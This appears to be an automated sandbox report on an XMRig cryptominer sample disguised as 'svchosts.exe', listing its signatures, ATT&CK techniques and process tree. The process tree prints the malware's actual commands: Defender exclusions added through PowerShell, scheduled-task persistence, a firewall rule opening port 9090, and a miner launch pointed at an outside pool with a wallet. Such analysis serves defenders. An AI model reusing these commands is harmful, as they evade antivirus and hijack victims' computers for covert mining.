Analysis
- max time kernel
148s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
30/07/2026, 07:14
General
- Target svchosts.exe
- Size 1.0MB
- Sample260730-h2w75adf49
- SHA256 22416b01ca8abb051b0a6aba45892101d106a34b0304769d377740a651cb97bd
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 24 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Executes dropped EXE 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\svchosts.exe"C:\Users\Admin\AppData\Local\Temp\svchosts.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /delete /tn "svchosts" /f2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "svchosts" /xml "C:\Users\Admin\AppData\Local\Temp\svchosts.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe"C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /tn "svchosts"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall show rule name="9090"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall add rule name="9090" dir=in action=allow protocol=TCP localport=90903⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o gulf.moneroocean.stream:10128 -u 8AwCmBpRMGPcGKubN2oBcGWaXE6MmAGyKLaj8pL4ugCVeQzizg3YdfKaquGAvGhJh5F9ed7T1wfriRZSZ7sfgJEg5i1pjMs.rig_cpu -p MyRig -k --cpu-max-threads-hint=50 --http-enabled --http-port=90903⤵
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exeC:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /tn "svchosts"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_n5uesahh.4h1.ps1
svchosts.xml
svchosts.exe
memory/1964-42-0x000001BAF40B0000-0x000001BAF4162000-memory.dmp
memory/3760-5-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-12-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-9-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-8-0x000000001CDF0000-0x000000001CFAE000-memory.dmp
memory/3760-7-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-10-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-11-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-6-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-13-0x0000000002F80000-0x0000000002F9A000-memory.dmp
memory/3760-4-0x0000000003130000-0x00000000031E2000-memory.dmp
memory/3760-3-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-0-0x0000000000670000-0x0000000000776000-memory.dmp
memory/3760-2-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-33-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/3760-1-0x00007FFCF573F000-0x00007FFCF5740000-memory.dmp
memory/4272-88-0x0000000020310000-0x0000000020311000-memory.dmp
memory/4272-48-0x000000001DBC0000-0x000000001DBC1000-memory.dmp
memory/4272-46-0x000000001BCB0000-0x000000001BCB1000-memory.dmp
memory/4272-45-0x000000001BCA0000-0x000000001BCA1000-memory.dmp
memory/4272-44-0x000000001BC90000-0x000000001BC91000-memory.dmp
memory/4272-54-0x0000000020200000-0x0000000020201000-memory.dmp
memory/4272-55-0x0000000020210000-0x0000000020211000-memory.dmp
memory/4272-67-0x00000000202D0000-0x00000000202D1000-memory.dmp
memory/4272-69-0x00000000202F0000-0x00000000202F1000-memory.dmp
memory/4272-71-0x0000000020300000-0x0000000020301000-memory.dmp
memory/4588-18-0x000001F57F9C0000-0x000001F57F9E2000-memory.dmp
memory/4588-14-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/4588-27-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/4588-28-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/4588-25-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/4588-24-0x000001F57F990000-0x000001F57F99A000-memory.dmp
memory/4588-23-0x000001F518710000-0x000001F5187C2000-memory.dmp
memory/4588-22-0x000001F5186F0000-0x000001F51870E000-memory.dmp
memory/4588-19-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/4588-29-0x000001F518339000-0x000001F51833F000-memory.dmp
memory/4588-15-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5728-70-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-77-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-86-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-82-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-80-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-78-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-84-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-89-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-92-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-93-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-94-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-90-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-91-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-83-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-75-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-73-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-85-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-87-0x000001477FB00000-0x000001477FB20000-memory.dmp
memory/5728-81-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-79-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-76-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-74-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-72-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-96-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5728-97-0x0000000140000000-0x00000001408CD000-memory.dmp